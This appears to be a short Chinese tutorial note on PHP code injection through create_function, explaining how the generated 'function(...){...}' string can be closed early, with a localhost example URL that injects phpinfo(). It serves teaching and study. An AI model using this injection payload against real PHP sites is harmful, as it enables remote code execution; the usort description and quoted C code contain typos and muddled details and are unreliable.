动态函数执行
动态函数执行
函数与函数之间的调用,可能会造成的漏洞

usort函数介绍
usort(array,myfunction)
array(必须,需要排序的数组)
myfunction定义用于比较字符串的函数,如果第一个参数小于第二个参数,那么比较函数必须返回一个小于等于或大于0的整数,这样返回的数组是按照正序排列
createfunction被定义的c函数
存在LAMBDA_TEMP_FUNCNAME “(%s){%s},这段代码我们用}就是为了封闭{,再写上自己的代码;
第一个)封闭strlen,第二个封闭return,第一个分号结束return,第一个大括号即是上述代码的{,写上自己的代码,第一个分号为该代码的结束,第二个分号为create_function的结束
http://localhost/1.php?c=1%29%29;}phpinfo%28%29;;//

Eval_code=(char*)emalloc(eval_code_length);
sprintf(eval_code, “function ” LAMBDA_TEMP_FUNCNAME “(%s){%s}”,
Sprintf(eval_code,NULL,eval_name RSRmLS_CC)
retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC);

浙公网安备 33010602011771号